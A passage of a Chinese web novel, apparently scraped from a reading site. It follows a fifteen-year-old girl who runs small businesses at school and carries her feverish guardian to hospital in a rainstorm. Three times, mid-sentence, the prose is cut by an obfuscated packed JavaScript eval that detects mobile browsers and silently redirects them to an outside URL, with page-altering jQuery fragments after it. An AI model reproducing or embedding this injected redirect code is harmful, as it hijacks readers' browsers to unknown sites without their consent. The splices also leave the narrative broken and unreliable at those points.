乔潇潇的拳头在身侧悄悄攥紧,指甲深深陷进掌心。她看着那些被自己课间跑遍校园才收集来的瓶子,有的还带着晨露的水汽,有的沾着她翻垃圾桶时蹭上的污渍,现在全都成了别人的战利品。鼻腔里突然涌上一股酸涩,她猛地仰起头,硬是把那股热意憋了回去。 终究只是个十五岁的孩子,当乔潇潇踏进家门时,那双通红的眼睛早已将委屈出卖得干干净净。 楚心柔正在玄关插一束新买的洋桔梗,听见开门声转头望去,目光在乔潇潇微肿的眼皮上停留片刻。她什么也没问,只是将花瓶轻轻放在鞋柜上,指尖还沾着几滴晶莹的水珠。“走。”她拿起帆布购物袋,“突然想吃火锅了,陪我去趟菜市场?” 乔潇潇是不会拒绝楚心柔的,点了点头,走过去,拿走她手里的袋子。 暮色中的菜市场正迎来一天中最热闹的时刻,买菜的小贩到处吆喝着。 学校,或许对于乔潇潇来说,目前还有些“遥不可及”,可菜市场,就是她最擅长的领域了。乔潇潇穿梭在摊位间,避开地上蜿蜒的水渍,挑菜时总要先嗅一嗅,青翠的茼蒿带着露水,嫩豆腐在塑料盒里微微颤动。 “要麻辣锅底还是菌汤?” 往年过年时,大伯家也会吃火锅。那时乔半山难得停工在家,乔潇潇被允许上桌,虽然要时刻注意伯母阴晴不定的脸色,但好歹是少数能敞开吃饱的时候。她总是不声不响地缩在桌角,筷子只敢伸向离自己最近的那盘冻豆腐。 乔潇潇抱着装满食材的塑料袋,踮脚和干货摊老板讨价还价,她对菜价门清,砍价砍的把跟在她身后的楚心柔听得都乍舌,忍不住问:“还能这么讲价呢?” 乔潇潇点了点头,认真地解释:“小白菜单价四块二,我算过批发市场成本价三块五,给她三毛利润空间很合理。”乔潇潇突然意识到自己在楚心柔面前是不是太“小家子气”了,她的声音低下去,“以前……要是不精打细算,月底就得饿肚子。” 楚心柔没接话,只是接过她手里沉甸甸的袋子。路灯恰好在此时亮起,暖黄的光晕染在她含笑的眼角:“真厉害。” 她说这话时微微前倾身子,视线与乔潇潇齐平,眼里都是温柔与赞许。 乔潇潇猝不及防被夸得耳根发烫。那些盘旋一下午的委屈,突然就变成了塑料袋里蔫头耷脑的小白菜,被这简单的三个字轻轻抖落在地。 楚心柔就是有这样的魔力,她从不俯身施舍怜悯,而是蹲下来与对方平视,这极大的照顾了乔潇潇的自尊心。 回到家,厨房很快飘起牛油锅底的醇香。楚心柔把电磁炉端上茶几时,窗外忽然落下雨点,敲在玻璃上发出细碎的声响。 “这天说变就变。”她笑着摇头,将冻豆腐下进翻滚的红汤里。 乔潇潇乖巧地坐在一边,她还是老样子,别人不伸筷子的时候,她动都不敢动。 楚心柔用公筷给她捞了满满一碗肥牛,肉片在蘸料里裹上厚厚的芝麻酱,“快吃,不是晚上还要学习吗?小心烫。” 雨声渐密,火锅咕嘟咕嘟地冒着泡。 乔潇潇忽然发现,那些卡在喉咙里的委屈,不知何时已经和毛肚一起,被热腾腾的汤底慢慢煮化了。 很快的,胃里被食物填满,整个人热乎了起来。 凶狠的干饭之后,乔潇潇绷紧的大脑都像是松懈了,楚心柔靠在椅子上,柔声问:“今天在学校过得好吗?” 换作从前,乔潇潇定会把所有的苦楚都咽回肚子里。可此刻,楚心柔的目光比火锅还要温暖,声音比雨声还要轻柔,让她那些筑起的防备不由自主地开始松动。 乔潇潇的指尖无意识地绞紧了衣角。她张了张嘴,喉头滚动了几下,最终从唇间漏出一声几不可闻的:“不好。” 那一天,乔潇潇把所有的一 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一声“挺好的”,把楚心柔勾的心痒痒,她平时不是一个好事儿的人,神之心像是杨绯棠说的那样,内心是有些趋于“冷漠”的,可她就是想知道,乔潇潇到底是怎么摆平保洁大姐的。 谁也没想到,三天后,楚心柔意外的接到了乔潇潇的电话,电话里,乔潇潇像是霜打了的茄子,“姐姐……你能来趟学校么?我做错事了,老师说……要请家长。” 正和杨绯棠在吧台微醺的楚心柔听到这话,一下子站了起来,“好!” 杨绯棠一手戳着脸颊,发丝散乱,媚眼如丝地看着她:“什么急事啊?” 楚心柔眼睛亮亮的,“潇潇被请家长了!” 杨绯棠一阵子沉默,她干掉手里的酒,“人家孩子被请家长,你那么兴奋干什么?” 楚心柔唇角上扬,“她那么乖,怎么会被请家长?你不好奇吗?” 杨绯棠:…… 认识个年轻人就了不起啊?好奇?她好奇个鬼。 眼看着楚心柔转身就走,她赶紧扯着脖子喊:“要是知道原因,告诉我一声啊!” …… 楚心柔踩着细高跟匆匆赶到学校时,走廊尽头的阳光正斜斜地打在教导室斑驳的木门上。乔潇潇单薄的身影就嵌在那片光影里,手指不安地绞着衣角,听见声音抬头看见她之后,立马像是做错的孩子,又低下了头。 楚心柔看了她一眼,走进了办公室,刚进去,班主任宋洋就走了过来,迫不及待地“告状”:“您是潇潇家长?我跟你说,这孩子,你真得好好管管,她了不得啊!” 楚心柔努力保持着表情自然:“老师,她做什么错事了?” 她心里琢磨着,乔潇潇能做什么坏事?一心就在学习上,能像是以前的孩子那样,把青.蛙放老师的茶缸里吗? 一提到这个,宋洋就气不打一处来:“才半个月,她就在学校出名了!她不知道用什么办法,把学校东区的三个保洁大姐都拿下了,每天跟着一起捡瓶子,一起赚钱!还因为人手不够,她居然又从本班发展了2个助手!不仅如此,根据门岗保安的可靠消息,她的业务还有所纵横拓展!学校不是不让孩子们点外卖吗?学生们都偷着点后送到门口栅栏那再偷偷去取,学校一直睁一只眼闭一只眼,可她!!!居然发展了校园跑腿业务,一份外卖,一毛钱配送费!!!保安说她生意特别好,到现在都要提前预约才能约上了!!!” 13.第 13 章 宋洋积压已久的怒火终于倾泻而出,一口气说完后,她紧盯着楚心柔的反应。 楚心柔安静地站在那里,乌黑的长发垂落在肩头,精致的五官在灯光下显得格外柔美。她不像其他家长那样听完就暴跳如雷,反而若有所思地抿着唇,嘴角甚至……隐约浮现出一抹若有似无的笑意? 这个微妙的表情让宋洋心头一紧。她正想细看,楚心柔已经回过神来,优雅地直起身子,轻咳一声说:“宋老师,您说得很有道理,我回去以后一定说潇潇!” 宋洋紧绷的肩膀松了下来,她端起搪瓷缸,啜了一口已经凉掉的茶水。 楚心柔:“潇潇这些行为确实影响了校园秩序,这点我完全认同宋老师的看法。”她顿了顿,眼波流转间带着几分恳切,“不过万幸的是,目前看来还没有影响到她的学习成绩。” 不仅没有影响到,据楚心柔掌握,乔潇潇现在的成绩,正火箭式上升,每晚的熬夜没白熬,短短半个月,她在年级进步了12名次,已经是10班的尖子生了。 这句话像一记温柔的软刀子,精准地刺中了要害。宋洋一口茶噎在嗓子眼,咳嗽了起来,楚心柔说的没错,在以学习成绩为王道的重点中学里,只要不触及原则性问题,在她们眼里都是小打小闹。 “宋老师。”楚心柔适时递上纸巾,“还请您多费心关照潇潇,这孩子,聪明但心事儿重,可只要慢慢指引,慢慢说,她什么都明白。” 她的眼神与语气是那样的真诚,根本让人没办法抗拒。 宋洋握着茶杯的手不自觉地松了力道。眼前这位温婉的家长,三言两语间就将一场训诫变成了温柔的博弈,而她竟找不到反驳的余地,她甚至在想,怪不得乔潇潇脑袋瓜那么好使,生意做得那么好,原来是家里有这个基因。 乔潇潇在办公室外来回踱步,指甲不自觉地抠着校服袖口。走廊上的时钟每走一秒,都像在她心上重重敲了一记。她最怕的不是处分,而是楚心柔眼里流露出失望的神色,那比任何惩罚都更让她难以承受。 当办公室门终于打开时,乔潇潇猛地抬头,正对上楚心柔平静的目光,“走吧。” 简单的两个字,语气淡得像初冬的薄霜。 乔潇潇的心直直坠了下去,她亦步亦趋地跟在后面,盯着楚心柔挺直的背影,手脚冰凉。 走在前面的楚心柔忽然停下脚步。乔潇潇差点撞上去,慌忙后退时,却见楚心柔转过身来,刚刚还绷着的嘴角此刻正微微上扬,眼底闪烁着恶作剧得逞般的笑意。 乔潇潇懵懵地看着她。 楚心柔柔声说:“怎么?现在知道怕了?”她抬手想要抚平乔潇潇凌乱的发丝。 就在指尖即将触碰到发梢的瞬间,乔潇潇突然一个激灵,猛地抬起手臂,条件反射般地护住了头部。 这个突如其来的防御动作让两人都愣住了。 楚心柔的手悬在半空,眼中的笑意渐渐凝固,取而代之的是难以置信和心疼。她张了张嘴,却什么也没说出来。 乔潇潇这才意识到自己的反应,慌忙放下手臂,嘴唇颤抖着挤出一句:“对……对不起。” 她的声音细若蚊呐,眼神躲闪着不敢与楚心柔对视,一颗心已经坠入谷底。 一阵令人窒息的沉默后,楚心柔重新抬起手,这次她的动作更轻更慢,带着无尽的包容与温柔。 “傻孩子。”她的指尖终于触碰到乔潇潇的发丝,“在老师面前,总要像那么回事。” 乔潇潇猛地抬头,眼中还带着未干的湿意,却在看清楚心柔含笑的眉眼时愣住了。 “不过现在……”楚心柔突然凑近,眼中闪烁着好奇的光,“该老实交代了——”她压低声音,带着几分俏皮,“你是怎么搞定王颖的?还顺带拓展了业务?” …… 回去的路上,两人并肩而行,乔潇潇发现自己竟不知不觉说了很多话,口干舌燥的。 她确实如楚心柔所说,只要有人点拨,就能融会贯通。 其实第一次去找王颖时,乔潇潇心里也是七上八下的。 王颖看见她那一刻,警钟大响,一脸警觉。 乔潇潇什么都没说,只是默默从袋子里倒出十几个踩扁的易拉罐,转身就走。 王颖愣在原地,直到乔潇潇的背影消失在走廊尽头,才缓缓蹲下身子去捡那些易拉罐,满脑子都是问号。这是什么意思? 接下来的三天,乔潇潇雷打不动地出现在王颖面前,中午一次,晚上一次,每次都只是放下易拉罐就走。 到了第四天,当乔潇潇再次出现时,王颖的眼神已经软化了。乔潇潇低着头闷声说:“下午高二有田径比赛,天很热,会有很多易拉罐。” 留下情报线索,她又转身离去。 第五天,当乔潇潇放下易拉罐准备离开时,王颖终于按捺不住,一把拽住了她的衣角:“哎,你别走。”她的声音里带着几分无奈,“咱俩……聊聊?” 阳光透过走廊的窗户,乔潇潇背对着王颖,嘴角悄悄扬起一个弧度。 楚心柔听了忍不住问:“你是怎么知道她最后一定会找你的?”她顿了顿:“万一她是个贪得无厌的人呢?” 乔潇潇踢了脚下的小石头,“可能是从小总被欺负的经验,她第一次抢我的瓶子的时候,我就看到她眼里一闪而过的纠结。” 她对人性的把握,全都是一个白眼一个白眼积累下来的,不会错的。 楚心柔听了沉默了片刻,柔声问:“那跑腿业务呢?” 乔潇潇摸了摸兜里今天刚赚的十块钱,小声说:“姐姐,你不是告诉我合作共赢么?我在食堂、小卖部转了几圈,发现有很多同学嘴馋又懒得动,适合共赢的标准。” “我们乔老板。”楚心柔忽然凑近, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556271|171171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼里盛着细碎的笑意,“这几天赚了多少?” 提到这个,乔潇潇的嘴角再也压不住了,“快一百了!”这个数字烫得她心口发颤,是过去想都不敢想的。 楚心柔夸奖:“真厉害。” 路过甜品店时,乔潇潇突然停下脚步,手指不自觉地绞着衣角:“姐姐……我能请你吃冰淇淋吗?” 她的声音轻得几乎要被街边的车鸣声淹没。 楚心柔望着她期待又忐忑的眼神,笑着点了点头。 她向来不爱吃这些甜腻的冷饮,但在乔潇潇雀跃的目光中,冰淇淋的甜味似乎格外特别。就在这家小店门口,楚心柔给乔潇潇上了重要的一课——任何事都要在规则框架内进行。 乔潇潇果然一点就透。她果断舍弃了学校明令禁止的跑腿业务,专心经营起废品回收。楚心柔本以为这就是终点,却低估了她敏锐的商业嗅觉。没过几天,她就看见乔潇潇踮着脚和甜品店老板握手,吃力地抱走一个装满饮料的大箱子。 原来,乔潇潇又发现了新商机——校园手机卡和移动套餐办理业务。她观察了好久,跟一般的简直推销的学生依次敲宿舍门让人反感的做法不一样,她别出心裁地在宿舍楼下支起小摊,打出“办业务送饮料”的招牌。 只是,或许是前期的市场有些饱和,她的生意并不好,乔潇潇有点着急,她可以等,但是饮料保质期等不了,让乔潇潇意外的是,第一个光顾的竟是王颖。 “快给我选个好套餐。”王颖眯着眼摆弄手机,“选一个能长时间打电话的。” 一天下来,乔潇潇也就办了王颖和两三个同学的有效业务,回到家,她垂头丧气的学习,心里一直自责,自己太冒进了,应该先少来几杯饮料的,等晚上,她再去试试。 潇潇想着这次再赚点钱,应该就够高一正常花销了,到时候她就把精力都放在学习上。 楚心柔画完画,看她这模样,想了想,出门了。 悲催的杨绯棠又被楚心柔硬是从琴行里拉出来了,她絮絮叨叨的:“我简直是欠你的!我欠你的!我刚办了联通业务,我才不要转移动!” 楚心柔扯着她的胳膊不放开,笑着说:“回头我把潇潇的宣传单放你琴行几份,来的你就都发一发。” 杨绯棠咬牙切齿:“我可是“诈.骗犯”,你潇潇能理我吗?!” 楚心柔:“她那么聪明,不会跟钱过不去的。” 杨绯棠:…… 楚心柔:“放心吧,一定不会歧视你的。” 杨绯棠:!!! 的确,楚心柔是了解乔潇潇的。 当杨绯棠冷眼站在乔潇潇面前时,她看着乔潇潇明显是在第一时间认出她这个“骗子”了,可表情只凝固了一秒钟,两眼就立马闪着迎接财神爷的热情之光,“姐姐,你要办理什么业务吗?来这边坐,很热吧,要喝饮料吗?” 14.第 14 章 杨绯棠对天发誓,她本来真的不想要办业务,也没有想着给楚心柔面子的,可在乔潇潇介绍了两分钟后,她一边翻看着折叠宣传页,一边不可思议地问:“你是把所有都背下来了吗?” 无论问什么,她都能一字不落地回答。 乔潇潇笑的腼腆,点了点头。这很难么?她读了几遍就全都记下来了,这样也好根据客户的选择,第一时间提供最合适的套餐。 这对于开琴行,别人来买琴,都要扔个宣传册让顾客自己看的杨绯棠来说太不可思议了,她忍不住抬眸,细细的打量起了乔潇潇。 年轻就是好,不过短短半个月光景,那个上次见面还又黑又瘦的小姑娘,竟像是换了个人似的。她的肤色渐渐透出健康的光泽,原本凹陷的脸颊也丰润起来,那双总是低垂的眼睛如今明亮有神,整个人都透着股鲜活劲儿。 杨绯棠指尖轻轻点了点乔潇潇的手背,忽然压低声音说:“我办套餐没问题,这些册子也都能放到琴行帮忙宣传,谁让姐姐天生是个大善人,看你年纪轻轻就这么辛苦,实在心疼。要不要考虑......我资助你?” 朗朗乾坤,青天白日,楚心柔还在不远处看着,她就敢挖墙脚。 杨绯棠有一双没有人能拒绝的桃花眼,她好整以暇地等着看乔潇潇涨红脸不知所措的模样,眼尾那颗泪痣随着笑意若隐若现。 除了逗弄乔潇潇之外,杨绯棠心里还揣着另一层心思。她敏锐地察觉到楚心柔对乔潇潇的不同,可现在的孩子,哪有表面看起来那么简单?她可不想看着好友的一颗真心喂了狗。 然而出乎意料的是,乔潇潇定定地看了她一会儿,突然压低声音问:“杨姐姐,你不是认识我姐姐吗?” 这声“杨姐姐”和“我姐姐”让杨绯棠怔住了。她错愕地看着眼前这个看似温顺的小姑娘,半晌才找回自己的声音:“你怎么知道的?” 乔潇潇神色如常,手上利落地抽出业务单,“不然呢?难道我是什么倾国倾城的金枝玉叶,值得杨姐姐三番两次地来关照?” 她太清楚自己的位置了,不过是路边无人问津的野草,除了楚心柔,谁会真的在意? 杨绯棠简直被噎个半死,过了好一会儿,她才问:“那你还接待我?” 乔潇潇把笔递给她,“有钱不赚王八蛋,杨姐姐,这款套餐最适合您,签字吧。” 杨绯棠:…… 要走的时候,杨绯棠不甘心地用翘着的二郎腿碰了碰乔潇潇:“喂,你这么强买强卖,就不怕我告诉你姐姐吗?” 乔潇潇收起签好的单子,笑着说:“我姐姐那么聪明,早晚都会知道的。” 她也没有想着隐瞒。 这可把杨绯棠的叛逆心给激起来了,怎么着,她连一个15岁的小姑娘都收拾不了了?她偏偏就不告诉楚心柔! “都办好了?”楚心柔见杨绯棠回来,眉眼弯弯地问。 杨绯棠没好气地翻了个白眼:“你倒是会躲清闲,干嘛不自己去?” 楚心柔声音温柔:“那孩子自尊心强,我不想让她觉得欠我什么。” 杨绯棠气得直磨后槽牙,“心柔,我告诉你,这乔潇潇啊,绝不是你想的那种小白兔!” 才这么小,就什么都瞒不过她,长大了成长起来得什么样? 楚心柔唇角不自觉地上扬,她望着远处乔潇潇忙碌的身影:“我当然知道她不是需要人保护的小白兔。” 杨绯棠舒了一口气。她就知道,楚心柔没那么容易相信别人。 楚心柔补充:“她是就算被风雨摧折也依然挺直脊梁的竹子。” 杨绯棠:…… 够了!!!这俩人都够了,明明才认识没几天,怎么都跟在一起几十年了一样? 心里酸溜溜的,杨绯棠看着楚心柔问:“这眼看着快十一了,你要先回去看看吗?” 说到这儿,楚心柔原本闪着光的眸子渐渐暗了下来,她沉默了片刻,轻轻地点了点头。 乔潇潇的生意虽然没有大火,但也有了些许的气色,没几天,居然有了回头客。 每天晚上,一遍一遍数奶粉罐里的钱,成了她一天最开心的时刻。 小长假快到了,乔万山的来信就压在枕头底下,字里行间都在催促她回家。乔潇潇心里清楚,若是不回去,黄素兰那张利嘴不知又要吐出多少刻薄话。 可真正让她辗转反侧的,是楚心柔最近反常的状态。 姐姐还是和往常一样温柔地笑着,但乔潇潇总能从她眼底捕捉到一丝游离的落寞。直到那个深夜,她半夜惊醒去客厅收拾书包时,赫然发现楚心柔独自蜷缩在阳台的藤椅上。月光为她的轮廓镀上一层银边,手里捏着的啤酒罐在夜色中泛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561822|171171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着冷光。 “姐姐?”乔潇潇愣在原地,声音轻得像是怕惊碎一场梦境。 楚心柔闻声回头,易拉罐在她指间发出轻微的变形声。她仓促地抹了把脸,挤出一个笑容:“怎么还没睡?” 乔潇潇的目光在她泛红的眼眶上停留了一瞬,立即若无其事地打了个哈欠转身:“可能吃咸了,突然想上厕所,好困,姐姐,你也早点睡。” 只有经历过黑夜的人,才懂得独自舔舐伤口的滋味。 那些无声滑落的泪,那些强忍的哽咽,都是最不愿示人的脆弱。 之后的几天,乔潇潇无论是埋头做题,还是卖废品赚钱,总会会突然晃神。 楚心柔颤抖的睫毛投下的阴影,紧攥着毛毯泛白的指尖,还有那个比哭泣更让人心碎的微笑,都成了挥之不去的画面,在她脑海中反复浮现。 要回家的前的最后一天晚上,下起了雨,因为天气不好,也是想着明天就要回大伯家了,乔潇潇舍不得,她破天荒的放了学就一路小跑去了菜市场,买了火锅食材,想着跟姐姐一起吃。 窗外雨幕如织,豆大的雨点砸在玻璃上,发出细密的敲击声。 锅底咕嘟咕嘟冒着泡,升腾的热气在冰冷的空气中凝结成白雾,又慢慢消散。 墙上的挂钟指针已经划过九点。往常这个时候,楚心柔就算有事儿也会发个信息,有时是个可爱的表情包,有时是简短的“晚点回”。可今天手机屏幕始终漆黑一片,安静得让人心慌。 一道闪电劈开夜空,随之而来的闷雷震得窗户微微颤动。乔潇潇终于按捺不住,在对话框里打下。 ——姐姐,你什么时候回来? 窗外,雨势渐歇,时针悄然划过十点。手机屏幕依然漆黑,乔潇潇攥着笔的指尖微微发白。 十点三十分,门锁转动的声音划破寂静。一阵裹挟着雨腥味的冷风猛然灌入,乔潇潇从作业本前霍然起身,“姐姐!” 朦胧的雨幕中,楚心柔的身影如同被雨水浸透的剪影。湿发黏在她苍白的脸颊,发梢不断坠下水珠,在玄关处积成小小的水洼。单薄的衬衫紧贴着肌肤,她整个人仿佛刚从寒潭中走出,连呵出的白雾都带着颤抖的弧度。 抬起眼帘时,她睫毛上悬着细碎的水晶。那双惯常含笑的眸子此刻红肿不堪,却仍强撑着扬起嘴角:“……还没睡?” 15.第 15 章 乔潇潇的目光怔怔地落在楚心柔没有血色的唇瓣上,她摇了摇头,喉头发紧:“吃过饭了吗?” 楚心柔缓缓摇头,湿漉漉的发丝黏在脸颊,目光空洞。 “有些累……”她声音轻得几乎听不见,“我先去休息,你早点睡。” 话音未落,她已经拖着沉重的步子往里走,水珠从衣角滴落,在地板上蜿蜒出一道道泪痕似的印迹。 只是背影,就能感觉她累极了,整个人像是被掏空了。 乔潇潇向来是天大的事儿也会专注于学习的,可如今,楚心柔苍白的脸色、恍惚的神情,还有反常的沉默,都像细小的刺,扎得她坐立难安。 窗外的暴雨不知何时转成了绵绵细雨,雨丝轻叩玻璃的声音在深夜格外清晰。十一点半的指针在寂静中缓慢移动,乔潇潇终于按捺不住,轻轻叩响了卧室门。 “姐姐?” 她的声音在黑暗里显得格外清亮。等待回应的几秒钟里,她的耳边只剩下自己越来越快的心跳声。在第三次叩在门板上,依旧没人回应时,乔潇潇已经顾不得什么分寸了。 门轴发出细微的“吱呀”声,她小心翼翼地探进半个身子。昏暗的房间里,只有窗外透进来的微弱路灯,将家具的轮廓勾勒成模糊的剪影。 楚心柔静静躺在光影交界处,乌发如瀑铺陈,衬得面颊异样潮红。她急促的呼吸搅动着空气,额前濡湿的碎发黏在泛着病态红晕的肌肤上。 乔潇潇屏住呼吸靠近,发现她的睫毛正不安地轻颤,指尖触及额头的瞬间,灼人的温度烫得她心头一颤:“姐姐!” 楚心柔在混沌的意识里听见乔潇潇带着哭腔的呼唤,她努力想睁开眼,却连睫毛都无力颤动。 …… 窗外的雨声依旧缠绵,时急时缓地敲打着窗棂。楚心柔缓缓睁开眼,入目是刺眼的白——惨白的天花板,苍白的灯光,还有手背上连着输液管的医用胶布。 她艰难地转了转眼珠,视线下移时,看见乔潇潇枕着胳膊趴在病床边,睡得极不安稳,眉头紧锁。 消毒水的气味萦绕在鼻尖,楚心柔这才迟钝地意识到,她这是在医院里。 “哎呦,我的天啊,祖宗,你可算醒了。” 杨绯棠端着洗净的樱桃推门而入,素来精致的裙装此刻皱得不成样子,眼下还挂着两片淡淡的青黑。 “我怎么在这儿?”楚心柔声音沙哑,目光落在熟睡的乔潇潇身上,“她怎么没回家?” “你还问?!”杨绯棠气得要把樱桃扔楚心柔脸上了,她压低声音:“昨晚你烧到三十九度五,潇潇打电话时你都昏迷了!这么大的人了,这么不知道照顾自己!” 楚心柔敏感地捕捉到了她语气的变化,“潇潇?” 杨绯棠之前对乔潇潇一直是带着审视与距离的,如今怎么突然这么亲近了? 杨绯棠无奈地摇了摇头,看着乔潇潇紧蹙的眉头有些心疼:“这孩子啊,肯定吓坏了。” 杨绯棠至今记得电话里那令人揪心的声响,滂沱雨声中夹杂着乔潇潇急促的喘息和踉跄的脚步声,以及雨水拍打在手机上细碎的“噼啪”声。 “杨姐姐,我姐姐发高烧了,我叫了她好半天,没有反应。”乔潇潇的声音颤抖得不成样子,却仍强撑着把每个字咬得清清楚楚,“我现在背着姐姐往医院走……雨太大……打不到车……我只找到了姐姐的身份证,你能不能来一趟……” 她以前只去过村里的卫生院,大城市的三甲医院乔潇潇从没有踏足过。 以前,乔潇潇能不开口求人,绝不多说一个字,可现在,她字字句句里都是恳切的哀求。 楚心柔整个人的重量都压在乔潇潇背上,她的帆布鞋早已被雨水浸透,每走一步都在积水里发出沉闷的声响。她一只手死死扣住背上的人,另一只手还要与肆虐的狂风搏斗,那把摇摇欲坠的雨伞,伞骨已经被狂风吹折了三次,却仍倔强地护在楚心柔头顶。 当杨绯棠急匆匆地赶到时,乔潇潇不仅准确找到了急诊楼,甚至已经带楚心柔验完血了,尽管这是她第一次见到自助挂号机,第一次来大医院,什么都不明白,可在她一遍遍恳求下,在工作人员的帮助下,把所有的事情都安排妥当了。 乔潇潇的眼里布满了血丝,身体一直颤抖,她自己都没意识到,一直到杨绯棠过来了,楚心柔输上液了,她才感觉浑身无力,脚下一软,差点坐地上。 杨绯棠连忙扶了她一把:“怎么了?快坐下!” 乔潇潇浑身都被雨打湿了,刚才紧张办手续感觉不到,如今稍一放松,空调的凉气顺着后脊窜了上来,夺了所有力气。 杨绯棠看了看表,已经快三点了,“你先回家洗个热水澡,换衣服,这里我看着她就行。” 她都不敢想象,这么一个瘦弱的女孩,是怎么在狂风大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567393|171171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雨的后夜,在人生地不熟的地方,一个人把楚心柔弄医院来的。 都这么着急了,乔潇潇还给楚心柔裹上了衣服,拿上了身份证,还把她自己存在奶粉罐里的全部积蓄九百多块钱都带上了。 乔潇潇自然是不肯离开的。 当护士喊到缴费时,乔潇潇立即条件反射般从椅子上弹了起来。即便杨绯棠就在身旁,她还是慌乱地掏出了兜里所有的钱。颤抖的手指一用力,那些被雨水浸湿的纸币和硬币“哗啦”一声散落在地,有叠得整整齐齐的百元钞票,也有皱巴巴的零钱,几枚硬币在地上打着转,发出清脆的声响。 乔潇潇慌忙蹲下身去捡,指尖触到那些湿漉漉的钞票时微微发抖。这些钱,是她省吃俭用、一点一滴攒下的全部家当,如今,什么都顾不得了,只要姐姐能好,她怎么着都行。 想到那场景,杨绯棠别过脸去,声音有些哽咽:“这孩子……真是不容易,以后她就是我的亲妹妹了。” 楚心柔的目光落在床边那个毛茸茸的小脑袋上。乔潇潇眉头紧紧地蹙着,有几缕长发黏在苍白的脸颊边。看着看着,楚心柔只觉得鼻腔里泛起一阵酸涩。 “她啊。”杨绯棠摇了摇头,“倔死了,从送你到医院就一刻不停地忙前忙后,连湿衣服都顾不上换。我让她走,她就是不走,一定要等你醒来。” 那么瘦瘦小小的一个人,自己都瑟瑟发抖了,就那么倔强着不肯离开。 一股暖流涌上眼眶,楚心柔抬起颤抖的手,轻轻抚上乔潇潇的发顶。 指尖才刚触及发丝,睡梦中的乔潇潇就猛地惊醒,她睁着通红的眼睛,“姐姐?” 天知道,这两天,她有多害怕。 那年妹妹糯糯高烧不退烧坏了嗓子时,乔潇潇也只是个才十岁的孩子。 她永远记得妹妹最后那声嘶哑的“姐姐”,像一把钝刀,日日夜夜凌迟着她的心。 她害怕楚心柔也出事。 楚心柔点了点头,眼神虚弱却温柔,乔潇潇却仍不安地又唤了一声,死死盯着楚心柔:“姐姐?” 她的声音里满是惶恐与不确定。 楚心柔知道乔潇潇的过往,手轻轻地抚着她的脸颊,“我在,没事的,好了,潇潇,我没事了,嗯?” 这话终于让乔潇潇一直紧绷的肩膀突然垮了下来,她咬着唇,大颗大颗的泪珠夺眶而出,重重地砸在楚心柔的掌心里。 16.第 16 章 楚心柔输液后症状缓解了不少,第二天虽还有些轻微咳嗽,但已无大碍了。 她看着忙前忙后的乔潇潇,轻声催促着:“潇潇,你先回去吧,我真没事了。” 这些天她注意到乔潇潇电话不断,知道她原计划30号就该回家的,怕她为难。 乔潇潇却置若罔闻,全神贯注地核对医生开的药单。她将药盒一字排开,用笔在每个药盒上仔细标注服用时间和剂量。 一旁的杨绯棠翘着二郎腿修剪指甲,漫不经心地说:“这几天你跟个大眼乌贼似的盯着,累坏了,差不多行啦。有你杨姐姐在这儿看着呢,还不放心?” 乔潇潇闻言放下药盒,幽幽地瞥了她一眼:“昨天晚上,你把晚上吃的药跟白天混了。” 杨绯棠修剪指甲的动作一顿。 “我给她调好的温水,也被你喝了。” 杨绯棠:…… 楚心柔在一边笑出了声。 一直到3号,楚心柔的身体才恢复的差不多,只剩下断续的咳嗽了,乔潇潇终于放下心回村。 临别那天,秋日的阳光斜斜地洒在门廊上。楚心柔站在门口,目光追随着乔潇潇离去的背影,久久未动。杨绯棠倚在门框边,指尖夹着的香烟升起袅袅青烟。 “这下可好了。”杨绯棠轻笑一声,将烟头按灭在门边的花盆里,“我看那丫头把整颗心都系在你身上了。你要是再不好好照顾自己,可有人管了。”她意味深长地看了楚心柔一眼。 楚心柔垂下眼帘,纤长的睫毛在脸上投下淡淡的阴影。她抿着唇没有说话,脑海中却不断浮现这些天来乔潇潇熬红的双眼。 那天,她输液完毕后,第一时间要把验血加挂号费的钱还给乔潇潇。 乔潇潇低着头,一动不动地盯着地面,手指无意识地绞着衣角,什么都不说。 当时,杨绯棠目光在两人之间打了个转,她张了张嘴,那句“放心吧,你楚姐姐有的是钱”都到了舌尖,却被楚心柔一个轻拽截住了。 楚心柔的指尖很凉,力道却温柔。杨绯棠侧目,看见她微微摇头时。 她太懂乔潇潇了,知道这份固执背后,这一次藏着的不是脆弱的自尊心,而是笨拙又炽热极力想要付出想要对她好的真心。 大巴车缓缓启动,窗外的景色开始流动。乔潇潇靠在座椅上,终于放任自己闭上了酸涩的双眼,连日来的疲惫如潮水般涌来,她几乎在瞬间就陷入了沉睡。 